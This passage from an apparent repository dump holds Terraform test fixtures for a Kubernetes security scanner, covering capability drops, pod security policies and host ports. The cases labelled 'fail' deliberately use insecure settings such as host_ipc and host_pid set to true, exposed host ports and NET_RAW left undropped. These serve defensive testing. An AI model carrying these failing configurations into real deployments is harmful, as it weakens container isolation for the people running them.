\"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#does not drop any or net_raw\nresource \"kubernetes_pod_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      security_context {\n        capabilities {\n          add = [\"NET_BIND_SERVICE\"]\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example2\"\n\n      security_context {\n        capabilities {\n          drop = [\"ALL\"]\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#does not drop any or net_raw\nresource \"kubernetes_deployment\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          security_context {\n            capabilities {\n              add = [\"NET_BIND_SERVICE\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example2\"\n\n          security_context {\n            capabilities {\n              drop = [\"ALL\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          security_context {\n            capabilities {\n              add = [\"NET_BIND_SERVICE\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example2\"\n\n          security_context {\n            capabilities {\n              drop = [\"ALL\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#wrong drop\nresource \"kubernetes_pod\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      security_context {\n        capabilities {\n          drop = [\"NET_BIND_SERVICE\"]\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n\n#wrong drop\nresource \"kubernetes_pod_v1\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      security_context {\n        capabilities {\n          drop = [\"NET_BIND_SERVICE\"]\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#wrong drop\nresource \"kubernetes_deployment\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          security_context {\n            capabilities {\n              add = [\"NET_BIND_SERVICE\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example2\"\n\n          security_context {\n            capabilities {\n              drop = [\"ALL\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#wrong drop\nresource \"kubernetes_deployment_v1\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          security_context {\n            capabilities {\n              add = [\"NET_BIND_SERVICE\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example2\"\n\n          security_context {\n            capabilities {\n              drop = [\"ALL\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      security_context {\n        capabilities {\n          drop = [\"NET_BIND_SERVICE\", \"ALL\"]\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example2\"\n\n      security_context {\n        capabilities {\n          drop = [\"ALL\"]\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      security_context {\n        capabilities {\n          drop = [\"NET_BIND_SERVICE\", \"ALL\"]\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example2\"\n\n      security_context {\n        capabilities {\n          drop = [\"ALL\"]\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          security_context {\n            capabilities {\n              drop = [\"NET_BIND_SERVICE\", \"ALL\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example2\"\n\n          security_context {\n            capabilities {\n              drop = [\"ALL\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          security_context {\n            capabilities {\n              drop = [\"NET_BIND_SERVICE\", \"ALL\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example2\"\n\n          security_context {\n            capabilities {\n              drop = [\"ALL\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_DropCapabilitiesPSP/main.tf",
    "content": "resource \"kubernetes_pod_security_policy\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = false\n    allow_privilege_escalation = false\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n    required_drop_capabilities = [\n      \"KILL\",\n      \"SYS_TIME\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}\n\nresource \"kubernetes_pod_security_policy\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = false\n    allow_privilege_escalation = false\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n    required_drop_capabilities = [\n      \"KILL\",\n      \"SYS_TIME\",\n      \"NET_RAW\"\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}\n\nresource \"kubernetes_pod_security_policy\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = false\n    allow_privilege_escalation = false\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_HostPort/main.tf",
    "content": "# fails no spec\nresource \"kubernetes_pod\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\n# fails no spec\nresource \"kubernetes_pod_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\n# fails no spec\nresource \"kubernetes_deployment\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n}\n\n# fails no spec\nresource \"kubernetes_deployment_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n}\n\n# fails no resource\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n        host_port = 8080\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no resource\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n        host_port = 8080\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no resource\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n            host_port      = 8080\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n            host_port      = 8080\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        limits = {\n          cpu = \"500m\"\n        }\n\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        limits = {\n          cpu = \"500m\"\n        }\n\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            limits = {\n              cpu = \"500m\"\n            }\n\n          }\n\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            limits = {\n              cpu = \"500m\"\n            }\n\n          }\n\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_HostPort/main3.tf",
    "content": "resource \"kubernetes_pod\" \"examplePod\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    automount_service_account_token = true\n    security_context{\n    }\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"examplePod\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    automount_service_account_token = true\n    security_context{\n    }\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment\" \"examplePod\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        automount_service_account_token = true\n        security_context {\n        }\n        selector {\n          match_labels = {\n            test = \"MyExampleApp\"\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"examplePod\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        automount_service_account_token = true\n        security_context {\n        }\n        selector {\n          match_labels = {\n            test = \"MyExampleApp\"\n          }\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_ImageDigest/main.tf",
